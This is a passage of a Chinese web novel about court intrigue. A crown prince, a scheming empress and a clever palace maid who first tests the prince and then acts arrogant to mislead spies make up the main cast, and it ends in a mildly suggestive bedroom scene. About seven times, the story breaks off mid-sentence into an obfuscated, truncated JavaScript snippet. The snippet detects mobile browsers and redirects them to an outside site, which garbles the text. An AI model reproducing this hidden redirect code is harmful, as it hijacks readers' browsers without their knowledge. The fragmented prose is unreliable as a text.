皇后盯着他似笑非笑,随即又恢复成端庄忧心的模样。 “衍儿决定就好。” 太医们如蒙大赦,连忙重重叩首,“谢娘娘开恩,谢太子殿下!” 萧衍摆摆手示意他们出去,余光瞥见皇后目光落到了父皇身上,抢先开了口。 “父皇突然昏厥,孤既为储君,理应该留下来侍疾,至于朝堂事务……” 萧衍神色暗含锋芒。 “首相安大人乃我朝元老,可暂代批阅奏章,六弟聪睿过人,近来在六部历练颇有成效,不如让六弟协理政务,再请母后从中辅佐,一来替父皇分忧,二来也可让朝中大臣见识吾朝皇子的风姿。” “母后以为如何?” 皇后眼底闪过一丝意外,他竟然愿意主动让出这个位置! 随后笑得更加意味深长,隐隐透出几分冷意,“太子考虑的倒是周全,只不过……” 皇帝这病来得蹊跷,她早就怀疑其中有诈。 又从可靠之人那里得知皇帝此举只为了试探太子是否有夺位之心。 原本想将计就计,借着皇帝病重,逼迫太子接手朝政。 看似是将皇位拱手送人,实则是将太子推上了风口浪尖。 若是太子心急抓住了这次机会,岂不是能让皇帝与太子离心? 到那时她的泽儿可就成了最合适的人了。 可万万没想到,萧衍居然忍住了。 皇后盯着他,半晌才轻笑一声,“太子孝心可嘉,本宫甚是欣慰,只是你突然进了宫,府中事宜可有安排妥当?” 萧衍忽然想起了安小月。 他出门之时将随身玉佩交给她实际上是心血来潮,甚至来的路上还在想她拿着东西会有什么反应。 没想到一时兴起突然就替他解决了**烦。 萧衍垂眸掩去眼底的冷意。 “母后放心,儿臣府上有一掌事宫女颇为伶俐,儿臣出门前已经将信物交给了她。” 皇后心头狠狠一跳,心里跳出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15604884|171448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个怪诞的念头。 这个伶俐的掌事宫女该不会是安小月吧! 正要问,就见萧衍从宫女手上接了帕子,转身去给皇帝擦汗了。 皇后袖中的指尖却已深深陷入掌心,她没再说话,缓缓离开了紫宸殿。 这一夜注定漫长。 安小月第二日起来才听说苏德派人传回来的消息,说是殿下自请在宫中侍疾,太子府中大小事务全都交由她掌管。 她指尖一颤,愣住了。 先不说狗太子昨日还在怀疑她包藏祸心,只是同席吃了几口饭,便这般信任她? 安小月不信,敏锐察觉到其中的不对劲。 王嬷嬷眼神复杂地看着她,轻咳提醒,“殿下信任姑娘,姑娘也要赶紧立起来,不辜负殿下的信任才是。” 安小月无奈叹气,“不怕嬷嬷笑话,我生下来就是个奴婢,什么时候管过人呢?” 更别说现在还在太子府。 她才来了多少日子,连底下的人每日要做什么都没摸清楚。 王嬷嬷拍了拍胸口,“姑娘放心,大胆去做,若是有不对的地方,老婆子我会提醒姑娘的。” 安小月这时才想起来王嬷嬷是东宫的老人了,自然事事清楚,她立刻抓住王嬷嬷的手。 “那就多谢嬷嬷了,若是做得好殿下回来有赏,我定会将赏赐全部送给嬷嬷。” “好说好说。” 不过在处理府中其他事情之前,安小月还想印证一下自己的猜测是否准确。 她从玉庆宫收拾了几件狗太子常穿的衣裳和私物,又趁着王嬷嬷不注意,偷偷找来一把麦秸塞进荷包,和衣裳一起装进箱子里。 自然也记着给苏公公装了几件衣裳,全部收拾妥当之后,找来赵忠,托他把东西送进宫里。 安小月没敢对他透露太多,只是多叮嘱了两句。 “赵大人送完东西不必着急回来,多少等些时候,说不定殿下还有东西要让赵大人带回来呢。” 赵忠蹙眉,深深看了她一眼。 却见她脸色平静,甚至还带着几分笑意,又觉得自己可能是多想了。 “安姑娘放心,我这就去。” 第65章 试探 这试探极为冒险。 她能想到,别人自然也能想到,若是被识破,狗太子不一定会怎么样,但她将会万劫不复。 安小月手心早已经沁出一层薄汗,她现在和狗太子是一条绳上的蚂蚱。 狗太子若是真的遇到了危险,她自然也好不到哪去。 因此她必须确定他是否真的是因为这件事情被困住。 两个时辰后,赵忠带着一个包袱急匆匆赶回太子府。 安小月接过包袱时,手指竟然微微发颤。 打开后是几件脏衣裳,都是太子昨夜出门时穿的,最下面放着一个眼熟的荷包,似乎是在苏公公身上见过。 安小月胡乱找了个借口躲回屋子,紧紧地插上门。 她颤抖着打开荷包,里面竟然是一把饱满的麦粒。 安小月心头一紧,表情愈发凝重。 看来真的是因为狗太子猎杀狼群保护百姓的事情惹出了祸。 她昨日就在想,太子这般举动其实是把双刃剑,若是幸运则会收获民心,若是稍微倒霉一些,便会惹得皇帝起疑。 没想到狗太子居然会真的这么倒霉。 不过也不意外,皇帝既然会在他被封为大将军王后就压制兵权,想必早已经开始提防太子了。 只是没想过连她这个小小宫女都会被牵连。 害得她现在还要被推到前面顶包,若是干得好那就不必说了,若是惹出了祸,谁替她善后? 安小月趴在桌上有些郁郁寡欢,不想招惹是非,却又找不到合适托付的人。 偏偏这时房门又被从外面敲响。 王嬷嬷高声道,“姑娘,赵大人还在前院等着,说是有事情要和姑娘商量。” “这就来。” 安小月幽幽叹了口气。 她打算去问问赵大人愿不愿意接手这个烂摊子,就算不愿意,好歹也替她分担一些事情才好。 到了前院,赵忠早已经急得来回踱步。 看见她一个箭步冲了过来。 “安姑娘,我有急事想要与你商量,你可还记得昨夜殿下亲口许诺过村里的百姓今日就要开仓放粮的事吗?” “记得。”安小月皱眉,欲言又止道,“只是现在这个节骨眼上,不大适合做这件事。” 狗太子收获民心无疑触碰了皇上的逆鳞,若是再开仓放粮,岂不是证实了他真的有这个心思? 安小月压低声音把自己的猜测跟赵忠和盘托出,就见他也无奈叹了口气。 “不过赵大人也别着急,若是咱们能想办法帮殿下挽回局面,日后还能补偿这些百姓。” 前提是先把这些人安抚好了。 安小月想了想,回去把狗太子之前赏赐给她的一百两银子全部拿了出来。 “麻烦赵大人帮我跑一趟,把这些银子交给村正吧,就说殿下因为击退狼群受了伤,暂时不能履行承诺,这些银子就算是押金,等殿下好了会亲自开仓放粮。” 赵忠大吃一惊,“安姑娘想好了?要是真的送过去,难保他们不会私自扣下来,以后想要回来可就难了。” “没事,我相信他们。” 安小月顾不上和他多解释,催促赵忠出门,还百般交代一定要让百姓们保密,就算听到了别的消息别急着声张。 赵忠劝不过,最后还是带着银子出门了。 安小月则是继续跟着王嬷嬷处理别的事情,同时还操心着狗太子那里。 与此同时,萧衍正靠在暖阁的软塌上小憩,垂下的睫毛遮住了眼底翻涌的思绪。 用麦秸试探倒是别出心裁,但是她这般胆大如天,到底是哪来的底气? 萧衍嘴角翘了翘,再睁眼时眼底已是一片清明。 苏德掀开帘子悄声入内,“殿下,该去侍奉汤药了。” “嗯。”萧衍嗓音沉沉地应了声,突然问,“府里可还派人来过?” “回殿下,除了赵大人来过一趟再没其他人了,殿下可是想让那位过来?” 苏德压低声音小心翼翼地询问。 萧衍瞥了他一眼,摇了摇头,“若是再有人来送东西不必接了。” 次数多了反而更让人起疑。 苏德低头应下,跟在后面进了正殿。 萧衍从小太监手中接过冒着苦涩热气的药碗,舀起一点亲自试了试温度,才又换了个新勺子准备喂药。 “皇兄这般辛苦,不如这次喂药让弟弟来如何?” 一道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15604885|171448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清朗的声音从殿门口传来,萧泽满面春光的大步跨进来,手里还捏着一份奏折。 萧衍收回视线,嘴角勾起意味不明的弧度,继续喂药。 “六弟处理朝政辛苦,应该歇着才是。” 萧泽挑了挑眉,“既然皇兄这般体贴,那皇弟只好恭敬不如从命了,别说,这政事处理起来确实辛苦。” 萧衍没有搭理他。 萧泽皱眉,忽而想到什么似的,晃了晃手上的奏折。 他俯身凑近,压低声音。 “说起来有件事情,我觉得应该提前跟皇兄通个气才好,今日有大臣上奏,说民间传闻太子仁德英明,及时击退狼群保护百姓,乃是我朝最大一幸事。” “不过却有人疑惑皇兄怎么会突然出现在那里,还偏偏遇到了狼群下山攻击百姓,又及时调来军队……皇兄认为这件事应该如何处理合适?” 萧衍不为所动,慢悠悠道,“六弟若是摸不准就去问问安大人,孤不参与朝政。” 萧衍冷笑,“父皇最讨厌皇子们收买民心,太子哥哥做这件事之前,难道忘了不成?” “事发突然,孤只想保全百姓性命。” 最后一勺汤药喂完,萧衍将空碗递给苏德,接过帕子慢条斯理地擦了擦手。 “父皇养病需要安静,六弟若是精力旺盛不觉得累,不如替父皇把先前积压的奏折一并处理了吧?” 他随意招了招手,便有个老太监端了个托盘过来,上面整齐叠放着数本奏折。 萧泽脸色一变,他从来没像今日这样起的这么早过,早已经又累又饿。 若不是想着过来炫耀一番,早就回去歇着了。 没想到炫耀不成,还被摆了一道。 萧衍见他不动,似笑非笑道,“六弟难道是不愿意替父皇分忧?” “怎么会!”萧泽强装出淡定。 “不过就是几本奏折而已,顺手的事。” 他暗自咬了咬牙,示意身后的人将托盘接过来,带着一肚子怒火出了紫宸殿。 他刚走,萧衍脸上的笑便彻底冷了下去。 不仅父皇病的蹊跷,就连传闻也起来的突然。 若不是有人在暗中操纵才是见了鬼。 第66章 以退为进 次日清晨,一道流言如野火般在民间蔓延,很快传进了宫中。 午门外**了数十位等候早朝的官员,三三两两聚在一起,低声交谈间神色各异。 其中一人从袖中抽出一份奏折给众人看。 人群顿时倒抽一口凉气。 只因这份奏折字里行间满是“结党营私”,“图谋不轨”等诛心之词,矛头全部指向太子殿下。 众人对视了一眼,有一些当机立断做出决定。 于是等萧泽上了早朝,接连收到了数十本**太子的奏折。 一个接着一个,除了原先就是太子阵营的大臣以外,保持中立的大臣们纷纷列出表态。 可萧泽却由一开始的兴奋逐渐变得面无表情,紧紧握着拳头。 过了,太过了! 父皇是厌恶结党营私,而如今满朝文武齐刷刷都针对太子,他会怎么想? 凡事讲究过犹不及,父皇只会怀疑有人在背后操纵朝臣! 萧泽眼神变得锐利,胸口剧烈起伏,最初的狂喜已经被一种愤怒取而代之。 他忍着火气等着散朝,匆忙冲到了皇后寝宫。 “母后,出大事了!” 皇后神色紧绷,凤眸中不见喜怒。 萧泽咬牙切齿,“母后,今日早朝少说也有二十多位大臣集体**太子收买民心,这谣言看似诋毁,实则……” “本宫知道。”皇后漠然打断。 “他们把太子说得如此工于心计,反倒显得那些流言是被人恶意传出,这是在替他开脱。” 萧泽点头,急切道,“母后,那咱们该怎么做?如此难得的机会,难道就要白白浪费吗?” 皇后蹙眉,对他的**躁感到不悦。 低声训斥,“你这么急做什么?生怕别人不知道你有小心思吗?” “这件事本宫自有定夺,这几日你多去紫宸殿坐坐,哪怕是去给你父皇读读书也是好的。” 萧泽眼皮一跳,随即拉下脸,眼中闪过一丝抗拒。 “为什么?皇兄不是一直在那儿吗?再说现在这个节骨眼,儿臣……” “更应该去!” 皇后声音陡然拔高,顿了顿,无奈叹了口气。 她语重心长道,“现在满朝都在传太子收买民心,不管你父皇何时会醒,这件事总会查个水落石出。” “你这个当儿子的不去床前尽孝,反而跟着大臣一起查太子的事情,这像什么话?” 萧泽已经听懂了皇后的意思。 朝堂上的政务大体由安禄海处理,他只是跟着打个下手,算不上什么功。 但太子就不一样了,他理应监国,却留下来尽孝,父皇若是查到他受了委屈,只会更心疼他。 道理都懂,可是若是错过这次机会,要想再扳倒太子**可就难了。 萧泽沉默片刻,一字一顿道,“儿臣不去。” 皇后一拍案几,“糊涂,你操心的事本宫自有分寸,你现在就去紫宸殿,本宫让人看着,敢偷懒本宫饶不了你!” 皇后摆了摆手,进来几个高壮侍卫将萧泽强制带出寝宫。 他一走,气氛骤然安静。 皇后端起青瓷茶盏,刚递到嘴边又“砰”地砸在案几上。 “查!去查一下到底是谁在背后散布流言!” 说太子收买民心,反倒坐实了他为民除害的美名,走的是以退为进的招数。 难道是太子自己想得脱身之计? 皇后眉头皱了起来,见心腹嬷嬷不动,不满呵斥,“愣着做什么?本宫使唤不动你了?” 心腹嬷嬷欲言又止,最终却什么都没说。 “老奴这就去查。” 暮色降临,赵忠步履匆匆进了太子府,却见背后的始作俑者居然在挑麦粒。 他急的额头上满是汗珠。 “安姑娘,光是今天就有二十多道奏折**太子,现在满朝都在说殿下图谋不轨,你这法子当真有用?” 安小月微微一笑,“有没有用,过两日就知道了。” 若皇上此次病重只为了试探太子,那也该醒了。 赵忠急得往前走了两步,“可是皇后已经起疑了,已经派了心腹去查谣言源头,若是……” 安小月开口打断,“只是派人去查而已,又不是已经查到,再说赵大人对自己的本事没有信心吗?” 昨日她深夜才想到以退为进的法子,连夜就把他拉起来干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“就这种货色也敢往我屋子里送?” 安小月一脸嫌弃地看着王嬷嬷手上捧着的鎏金烛台,抢过来在手上掂了掂。 “我喜欢玉的,重新挑一个。” 她一边摆手让王嬷嬷进去再挑,一边随意将手里的鎏金烛台扔了出去。 周围顿时响起一阵倒抽气声。 安小月心里也在滴血,但为了不让人看出破绽,硬是一眼都没往地上看。 然而扔了烛台的那只手藏在袖子里早已抖个不停。 她这也是为了狗太子好,他回来应该不会怪她吧…… 满院子仆役见她生气,自觉跪了一地,可安小月却还是没有放过他们。 她径直走向自己早就挑中的人。 “啪!” 一记耳光清脆响亮,那人被打得歪倒在地,捂着脸不可置信地抬头瞪她。 安小月蹙眉,还敢瞪她? 抬起胳膊又是一巴掌。 “你方才是在笑话本姑娘?” 她一字一顿,跟着记忆里王氏折磨她那样,虽没有暴怒,却把这人吓得不轻。 “姑娘饶命,姑娘饶命……” “晚了。”安小月冷哼一声,摆摆手,“把她拖下去看起来,等本姑娘闲了再去收拾。” 有几个机灵的小太监立即抓着这婆子就往外走,怕她嘴里会说不干净的话,还抽出汗巾把嘴给堵上了。 安小月乐不可支,当即就给这几个小太监人人都赏了银子。 她又接着处理了两个人,才继续挑东西。 日头西斜的时候,新屋子早已被摆的满满当当,就连屋里的茶,都是今年新贡的雨前龙井。 往日只有狗太子才能享用,她如今也是喝上了。 安小月仅凭一人之力将太子府闹得人仰马翻,底下仆役叫苦连天,纷纷到王嬷嬷和赵忠那里诉苦。 可偏偏他们都不知道安小月打的什么主意,又因为太子信物只能顺从,心中竟不约而同有了一个念头。 安姑娘怎么有点狗仗人势的意思? 太子府离皇宫不远,消息很快就传遍宫廷。 与此同时,皇后的心腹嬷嬷也查到太子进宫的第二日就往外递了东西。 皇后皱眉,“送东西的人是侍卫首领?一个侍卫能有如此细心?” 嬷嬷低声道,“也有可能是府里伺候的嬷嬷,咱们的人只看见赵忠从太子殿下的寝宫搬了箱子出来,至于是谁却没看见。” “不过……” 嬷嬷表情难看,迟疑道,“还有另外一件事让老奴觉得古怪。” 皇后揉着太阳穴,“你说便是。” “就是娘娘送进太子府的那个女人,原来当日太子殿下口中的伶俐宫女就是安小月,她拿了太子信物,前两日倒是还能忍得住,从昨日开始就像变了个人似的。” 皇后诧异地看了过去,“她能变到什么地方?” “不仅打罚仆役,还擅自开了太子私库,拿了不少御赐之物摆进自己屋子了,害得太子府其他人叫苦连天,每日都要做二十多道菜供她一人吃,娘娘,您说这……” 皇后突然伸手,“拿过来本宫看看。” 嬷嬷把信递了过去,那些字句在烛光下看得很清楚,组合到一起却认不出了。 “怪事,这当真是安小月做出来的?” 皇后心中惊讶,隐约觉得不对劲。 当初决定送安小月去太子府的时候,她派人仔细调查过,这丫头是个聪明的,胆子却不大。 而且有软肋在别人手上,只有被拿捏得份。 怎么可能在拿到太子信物之后就变得这般嚣张跋扈? 嬷嬷看她脸色不对,试探道,“娘娘,要不然老奴带着人连夜去审一审?” 皇后沉吟片刻,摇头。 “不必,现如今有太多人盯着太子府了,若是动手难免会有暴露的风险,你让人继续盯着,若是还有其他古怪之处,及时来报。” “是,只是若这丫头是个沉不住气的,那咱们的计划……” 提起这事皇后也觉得头疼。 “太子既然愿意把信物交给她,那就表明她这段时间的确做了正事,只要不影响到计划,不用插手。” “明白。” 皇后眼神飘向紫宸殿的方向。 这种蠢货,应当不是幕后推手。 那会是谁在背后推波助澜呢? 只是还不等她查出幕后之人,翌日午后就传出皇上清醒过来的消息。 紫宸殿内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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太子发火 “原来是这样。”皇帝慢条斯理收回视线。 “朕知道了。”他疲惫地摆了摆手,“朕刚醒,头疼得厉害,这事朕会安排人去查。” 萧泽僵在原地。 就算集体**这件事有古怪,但是太子以驱逐狼群收买民心是事实啊。 父皇不应该震怒,然后质问太子吗? 他还想要再问,就见皇帝缓缓闭上了眼睛,“这几日你们也辛苦了,先回去歇着吧。” 这是明明白白的逐客令,萧泽不想走,却不得不跟着太子一同行礼,然后退出紫宸殿。 萧泽跟着萧衍身后,压低声音,“太子哥哥,父皇说了他会彻查此事,想必太子哥哥早就想好应对决策了吧?” 萧衍连个眼神都没给他。 “孤又没做错事,为何要应对?” “你,你……”萧泽咬紧牙根,“若是父皇派人来问我,我可不会包庇太子哥哥。” 闻言,萧衍脚步一顿,慢悠悠地转身看他。 “如果真是如此,孤倒是还要好好谢谢六弟,实话实说便好,至于真相……” 他轻哼一声,转过身大步流星地离开。 苏德早已经备好了马车,还让人往太子府传了消息,只是他跟着钻进马车后,表情却有些古怪。 装孝顺装了这么多天,现如今只剩自己,萧衍便跟没骨头似的懒懒靠着。 “说吧,出了什么事?” 苏德支支吾吾,“殿下,奴才觉得安姑娘不像是那种人,可是吧……” 来报信的人说的有鼻子有眼,他都不敢想等殿下回府后看到太子府的变化会有多震惊。 萧衍半眯着眼睛,嘴角扬起一抹轻笑。 “安小月又做了什么?” 事情过了几天,他每每想起她用麦秸试探自己就觉得惊讶又新奇。 原来她脑子里不只有勾引自己这回事,用到正经处还是有点意思的。 苏德不知道该如何开口,又想知道殿下得知这些事情之后会是继续忍耐还是翻脸。 发觉殿下陷入沉思之后便闭了嘴,没有再打扰。 转进朱雀街,太子府邸映入眼帘,可奇怪的是,门口竟然有不少人头来回晃动。 看见马车过来动静更大了。 萧衍不悦掀开眼皮,“怎么回事?” 苏德撩开帘子往外看了眼,欲言又止,“这,兴许是他们终于等到殿下回府,都有些迫不及待想迎接殿下呢。” 萧衍挑眉,他竟是第一次知道府里的太监婆子们居然如此期待他回府。 苏德被他看得头皮发麻,不自在地低下头。 “殿下回府……” 唱声还未喊完,门口等待的太监老嬷嬷竟然都冲出门跪了一地,有几个甚至还哭出了声。 萧衍当即就黑了脸。 这些人是觉得他是**才能回来吗? 苏德急忙下去把这些人赶走,又让侍卫清出一条路来,才把殿下迎进府。 可即便是有侍卫挡着,那些太监嬷嬷还是跪在不远处低声啜泣,活像是受了天大的委屈。 萧衍越发狐疑,驻足在玉庆宫之前。 “赵忠,滚出来!” 躲在角落的赵忠心里一慌,急忙走了出去,“属下拜见殿下。” 萧衍眯着眼睛打量他怪异的神情,直觉府中一定发生了很了不得的事情。 他没有进屋,让人搬了把椅子,就在院里问开了。 赵忠几乎是艰难地张开了嘴,一五一十的把安小月这几日闹出来的动静和盘托出。 他每说一件,萧衍嘴角就上扬一分。 不过却是被气的。 萧衍怒极反笑,“好啊,孤把玉佩交给她,还以为她是个可靠的,没想到竟然敢背着孤胡作非为!” “人呢?把她给孤带出来!” 王嬷嬷忙跪下回话,颤巍巍道,“安姑娘午饭时吃了点酒,这会儿,这会儿……人还睡着。” 萧衍勃然变色,“孤忙得几日回不来,她居然还有闲心思吃酒?” 突然一顿,犀利的目光射向王嬷嬷。 “她吃的酒是从哪里来的?” 王嬷嬷脸色煞白,却没敢扯谎,“是从殿下的酒库里取的,不过只拿了两坛,别的都没动。” 萧衍咬了咬牙,并没有被安慰到多少。 他酒库里的酒都是他多年珍藏下来的,每一坛都极其宝贵,她居然敢一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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腰间沉甸甸地压着一块重物,滚烫得像是烙铁,她迷迷糊糊伸手去推,反被一只有力的手臂箍得更紧。 她猛地睁眼,正对上一张近在咫尺的俊颜。 狗太子! 安小月浑身僵住,脑中飞速回想。 昨日午饭她贪杯多喝了两盏,没想到那酒后劲十足,竟直接睡了过去。 但他又是何时回来的?又怎么会在自己床上? 总不能是她胆大包天到把狗太子拽上床榻吧! 安小月鬼使神差凑近,想在他身上闻到同样的酒味,却听到一声极低的哼笑。 “孤身上的味道你可喜欢?” 萧衍不知道何时醒了,此刻正似笑非笑地盯着自己。 安小月心头一跳,立刻作势要从他怀里退出来。 “殿下恕罪,奴酒后失仪……” “你是怎么想到用麦秸试探孤的?”萧衍突然打断,修长的手指把玩着她散落的发丝。 “听说……孤不在的这几日,安姑娘很是威风?” 安小月眼皮一颤,慌忙从被间爬起来。 慌乱中一脚踩到狗太子的衣袍,整个人差点栽倒,又手忙脚乱地在床榻上跪下。 中衣滑落肩头,露出大半雪白的肩膀,耳垂连带着脖颈却因紧张泛着淡淡的粉。 萧衍半眯着眼睛,饶有兴致地看着她。 若是往常他只会觉得她又在趁机勾引,可如今倒…… 安小月额头挨着床,老实交代,“奴知错,奴再不敢了,求殿下责罚。” 萧衍轻笑一声,“孤猜你是为了转移某些人的注意,故意把自己扮成个恃宠而骄的蠢货,可对?” 安小月欣喜抬头,杏眸中除了紧张,还有淡淡的惊喜,“殿下知道?” 萧衍挑眉,“你都能想到,孤还能比你蠢?原先倒不知你还有这份急智,不过……” 他忽然凑近,“下次再敢拿孤的名头作威作福,你这个聪明的脑袋可就不保了。” 他伸出指尖轻点她的额头,看到她吃痛闪躲,才收了手,眼中闪过一丝玩味。 “奴再也不敢了。”安小月连忙保证。 萧衍摆摆手,“罢了,看在你忠心为主的份上,孤就饶了你这回,下次再犯,决不轻饶。” 安小月呆住了,不罚她? 她可是把太子府闹得天翻地覆,估计早就传得人尽皆知。 更何况她还用麦秸试探太子,这般揣测圣意,干预朝政的举动,就这样轻飘飘的算了? “怎么?”萧衍见她一脸不可置信,眯起眼,“觉得孤不会轻易放过你?” “没有。”安小月心中狂喜,高高兴兴地磕了两个头,“谢殿下开恩。” “嗯。”萧衍似是很累,说罢又躺了回去,“孤饿了。” “奴去做。”安小月一时忘形,跪着凑到太子跟前,“殿下想吃什么?近几日园子里荷花开的正旺,荷花莲叶羹如何?” 她说话时身子前倾,松散的衣领随着动作露出一片雪色。 萧衍本在闭目养神,忽然嗅到一缕甜香,混着酒味儿一个劲地往鼻子里钻。 他懒洋洋地睁开眼,正撞见一片莹白。 偏偏她生得又好,那团东西像是要撞到他脸上似的,往旁边瞥,曲线更是玲珑。 萧衍眸色逐渐加深,这等春色,对于从来没沾过女人的他来说简直比砍掉敌人的脑袋还要刺激。 一时间盯着失了神,呼吸加重。 安小月后知后觉发现他眼神不对,顺着他的视线低头一看,面颊突然涨红,“殿下!” 她往后闪躲,却被一只有力的手臂勾住了腰,一把拽了过去。 “你如今是孤的掌事宫女,这些小事交给底下的人去做便是,不然岂不是让人看了安姑娘的笑话?” 他修长的手指有一搭没一搭地摩挲着她中衣的细带,下巴却搁在她肩上,温热的呼吸渗进颈间的肌肤。 安小月浑身一颤,攥紧了衣袖。 两人之间挨得极近,她可以清楚感知到从他身上散发出来的霸道气息。 此刻的嗅闻更是让她羞耻得下意识夹紧了双腿。 狗太子是主动在和她调情? 她不仅没感觉到欣喜,反而有种毒蛇爬上脊背的恐惧之感。 她的确是要勾引他,但不能真的让他碰! 因为一旦有了肌肤之亲,她的任务就完成了。 而那些人,绝不会让她活着。 萧衍的手指依然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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安小月捧着青瓷盏进来时,萧衍已经坐在紫檀食案前开始用膳了。 十二道菜摆成莲花状,中间空着的位置,正是给她手里这碗雪梨百合羹留下的。 她悄悄打量了一眼他的神色,将汤盏轻放在空处,又拿起筷子想要帮他布菜。 可萧衍突然将手里的银刀甩了过来,直直**离她最近的地方,刀柄都还在嗡嗡震动。 萧衍语气讥讽,“不是跑了?又回来做什么。” 安小月手指微微发紧。 她方才就猜测他因为自己的躲避而动怒,炖了汤过来试探,没想到竟真的是这样。 她掀开盖子,瞬间甜香四溢。 给他手边的空碗盛了小半才道,“殿下这几日太过操劳,吃些清淡的最好。” 萧衍目露嫌弃,“孤现在嘴里都快淡出鸟味儿了,你居然还让孤吃清淡的?” “孤不喜欢,重做!” 安小月故意把汤碗往他手边推,轻声补了句,“可是殿下火气很大……” 差点都不当人了。 “啪!” 她话音刚落,手背就被他狠狠拍开,看似凶狠,实则力道控制的刚好。 安小月却还是装出被打疼了的样子,害怕地缩回手。 这反应取悦了萧衍,眼底闪过一丝笑意,在她看过来之时又立即板着脸。 “重新盛一碗,孤倒要看看你能炖出什么好汤。” 安小月瞬间会意,端着方才盛出来的那一碗仰头喝下,才重新取了个新碗。 萧衍却直接把汤盏拉到自己面前,搅了搅,“看着倒是色香十足。” 他没再碰其他东西,就这样一边嫌弃,一边把两人份的雪梨百合羹喝光了。 喝完似乎还没尽兴,居然意犹未尽地舔了舔嘴唇。 但下一刻反应过来自己做了什么之后,他那张脸顿时黑如锅底。 安小月死死咬住嘴唇,忍笑忍得辛苦。 她似乎是第一次见狗太子这般口是心非的样子,看起来竟有些与他平时截然相反的鲜活。 “你在笑话孤?”萧衍将擦拭过嘴的帕子扔到她身上。 安小月慌忙低头,“奴没有,奴怎么敢笑话殿下?奴只是高兴殿下喝完了奴熬的汤,火气一定会很快降下去的!” “你……”萧衍咬牙黑脸。 说来说去还是这回事! 正要骂,余光却瞥到苏德那老小子不知道在跟谁挤眉弄眼,也是一副看热闹的样子。 他从鼻子里哼了一声。 “好啊,既然你这么乐意给孤炖汤,以后每日每顿你都给孤炖上一盅,只是孤挑嘴,重复的可不行。” 他似乎是终于找到了惩罚安小月的好法子,嘴角高高翘起。 “记得了吗?” 安小月能怎么办,只能福身应是。 萧衍这才大发慈悲的放过她,捡着其他的菜吃了几口,就彻底停了筷。 “过几日是母后的寿宴,你随孤同去。” 安小月愣了下才发觉他的目光落在自己身上,竟是在跟她说话,立即做出惊讶的表情。 “皇后娘娘的寿宴?可是前两日皇上……” 她突然噤声,萧衍却直接凑了过来,冷哼,“别以为孤对你宽容几分就可以随意打听后宫之事,让你去你便去,别的不用知道。” “是,奴知错。” 安小月听出他语气中的寒意,顿时感觉头皮发麻。 是她得意的昏了头了! 这几日狗太子接连纵容她胡闹任性,晨时还主动与她亲密,尽让她忘了面前的人是随时可以要了自己小命的储君。 她似乎是怕他不信,后退一步重重跪了下去。 “奴婢该死,再不敢妄议后宫之事,求殿下责罚。” 萧衍盯着她眼神古怪,蹙了蹙眉。 “苏德,带她去量尺寸,再叫两个嬷嬷教教她宫廷礼仪,别到时候又给孤丢人。” 说完他冷哼一声,大步流星地出了门。 而安小月却脱力一般地坐在地上,眼神呆滞,似乎是被吓狠了。 苏德却不知道什么时候已经站到了她旁边,幽幽叹了口气。 “安姑娘,有些事殿下不说,咱们就不能问,只有闭紧嘴才能活下去。” “苏公公……”安小月声音哑得厉害,“我是不是……” “我什么都不知道。” 苏德提前打断她,俯身扶了她一把,突然又面露纠结,瞥了眼四下无人,巴巴凑了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 